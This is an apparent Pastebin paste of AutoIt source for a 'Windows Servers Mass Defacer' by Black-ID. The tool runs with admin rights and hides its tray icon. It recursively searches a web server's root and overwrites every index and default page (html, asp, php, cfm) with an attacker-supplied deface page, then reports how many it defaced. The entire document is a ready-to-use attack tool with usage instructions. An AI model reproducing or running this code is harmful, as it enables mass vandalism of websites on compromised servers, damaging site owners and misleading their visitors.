Advertisement
Black-ID

Windows Servers Mass Defacer V.1.5

Apr 1st, 2012
466
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 4.71 KB | None | 0 0
  1. #NoTrayIcon
  2. #RequireAdmin
  3. #Region
  4. #AutoIt3Wrapper_Compression=4
  5. #EndRegion
  6. ;=========================================================================
  7. ;             Windows Servers Mass Defacer  V.1.5                     |
  8. ;                   Devloped by Black-ID                                  |
  9. ;=========================================================================
  10. ;usage: mass.exe  -d <defacepath> -r <rootpath>                           |
  11. ;example: wmass.exe -d "C:\hacked.html" -r "c:\inetpub\wwwroot\"          |
  12. ;note: Quotes are necessary.!!        (Updated on 30-08-2011)             |
  13. ;~ ;if any bugs are found ...plz do inform me at BlackID                  |
  14. ;follow the status of the defacer with defacerlog.txt                     |
  15. ;=========================================================================
  16. #Include <File.au3>
  17. #Include <Array.au3>
  18. #include "_ArraySize.au3"
  19. #include "RecFileListToArray.au3"
  20. #include <Console.au3>
  21.  
  22. Global $quot = BinaryToString("0x22")
  23. Global $defacerpath = ""
  24. Global $rootpath = ""
  25. $time = @HOUR&":"&@MIN&":"&@SEC
  26. ;;Get Parameters
  27.  
  28. ReadCmdLineParams()
  29.  If not FileExists($defacerpath) Then
  30.      Cout(@HOUR&":"&@MIN&":"&@SEC& " - "&$defacerpath&" is an invalid path to deface page..!!"&@CRLF)
  31.  
  32.      Exit
  33.  EndIf
  34.   If not FileExists($rootpath) Then
  35.      Cout(@HOUR&":"&@MIN&":"&@SEC& " - "&$rootpath& " is an invalid root path..!!"&@CRLF)
  36.      Exit
  37.      EndIf
  38.  
  39.  
  40.  
  41. $globalvariable = 0;we define the global variable for no: of succesful defacing.
  42.  
  43.  
  44.  
  45.  Global $avArray[10]
  46.  
  47. $avArray[0] = "index.html"
  48. $avArray[1] = "index.htm"
  49. $avArray[2] = "index.asp"
  50. $avArray[3] = "index.cfm"
  51. $avArray[4] = "index.php"
  52. $avArray[5] = "default.html"
  53. $avArray[6] = "default.htm"
  54. $avArray[7] = "default.asp"
  55. $avArray[8] = "default.cfm"
  56. $avArray[9] = "default.php"
  57.  
  58.  $countdeface = _ArraySize( $avArray )
  59.  $countdeface = $countdeface - 1
  60. If not $countdeface Then
  61.  
  62.     Exit
  63. EndIf
  64.  
  65. lising()
  66.  
  67. func replace($array);replaces the file if exists
  68.     local $length, $target
  69.     local $i = 1
  70.     $length = _ArraySize( $array )
  71.     $length = $length - 1
  72.     for $i = 1 To $length
  73.         $target = $array[$i]
  74.     FileCopy($defacerpath, $target, 9) ; Flag = 1 + 8 (overwrite + create target directory structure)
  75. ; Copy the txt-files from source to target and overwrite target files with same name
  76. $globalvariable = $globalvariable + 1
  77. Next
  78. EndFunc
  79.  
  80. func lising();directory listing recursive
  81.     Local $localdeafce
  82. Local $asi = "0"
  83.  
  84.  
  85.     for $asi = 0 To $countdeface
  86.  
  87.     Local $localdeafce = $avArray[$asi]
  88. local $aArray = _RecFileListToArray($rootpath, $localdeafce, 1, 1, 0, 2)
  89.  
  90. if not @error = 1 Then
  91.  
  92. replace($aArray)
  93. EndIf
  94.  
  95.  
  96.         Next
  97.     EndFunc
  98.  
  99.  
  100.  
  101.  
  102.  
  103. Func ReadCmdLineParams()
  104.  
  105.     for $i = 1 to $cmdLine[0]
  106.  
  107.         select
  108.             ;;If the arguement equal -d
  109.             case $CmdLine[$i] = "-d"
  110.                 ;check for missing argument
  111.                 if $i == $CmdLine[0] Then cmdLineHelpMsg()
  112.  
  113.                 ;Make sure the next argument is not another paramter
  114.                 if StringLeft($cmdline[$i+1], 1) == "-" Then
  115.                     cmdLineHelpMsg()
  116.                 Else
  117.                     ;;Strip white space from the begining and end of the input
  118.                     ;;Not alway nessary let it in just in case
  119.                     $defacerpath = $quot&StringStripWS($CmdLine[$i + 1], 3)$quot
  120.                 endif
  121.  
  122.             ;;If the arguement equal  -r
  123.             case $CmdLine[$i] = "-r"
  124.  
  125.                 ;check for missing arguement
  126.                 if $i == $CmdLine[0] Then cmdLineHelpMsg()
  127.  
  128.                 ;Make sure the next argument is not another paramter
  129.                 if StringLeft($cmdline[$i+1], 1) == "-" Then
  130.                     cmdLineHelpMsg()
  131.                 Else
  132.                     ;;Strip white space from the begining and end of the input
  133.                     ;;Not alway nessary let it in just in case
  134.                     $rootpath = $quot&StringStripWS($CmdLine[$i + 1], 3)$quot
  135.                 EndIf
  136.  
  137.  
  138.         EndSelect
  139.  
  140.     Next
  141.  
  142.     ;Make sure required options are set and if not display the Help Message
  143.     if $defacerpath == "" Or $rootpath == "" Then
  144.         cmdLineHelpMsg()
  145.     EndIf
  146.  
  147. EndFunc
  148.  
  149.  
  150. Func cmdLineHelpMsg()
  151.     Local $thewrite
  152.     $thewrite &= ""&@CRLF
  153.     $thewrite &= "========================================================================="&@CRLF
  154.     $thewrite &= "                Windows Servers Mass Defacer                            "&@CRLF
  155.     $thewrite &= "                     Devloped by Black-ID                               "&@CRLF
  156.     $thewrite &= "========================================================================="&@CRLF
  157.     $thewrite &= "usage: wmass.exe  -d <defacepath> -r <rootpath>"&@CRLF
  158.     $thewrite &= 'example: WMass.exe -d "C:\index.html" -r "c:\inetpub\wwwroot\"'&@CRLF
  159.     $thewrite &= "========================================================================="&@CRLF&@CRLF
  160.     Cout($thewrite)
  161.  
  162.     Exit
  163. EndFunc
  164. Cout("Started defacing at "&$time& " and ended at "&@HOUR&":"&@MIN&":"&@SEC& ".Defaced "&$globalvariable&" index pages..!!"&@CRLF)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement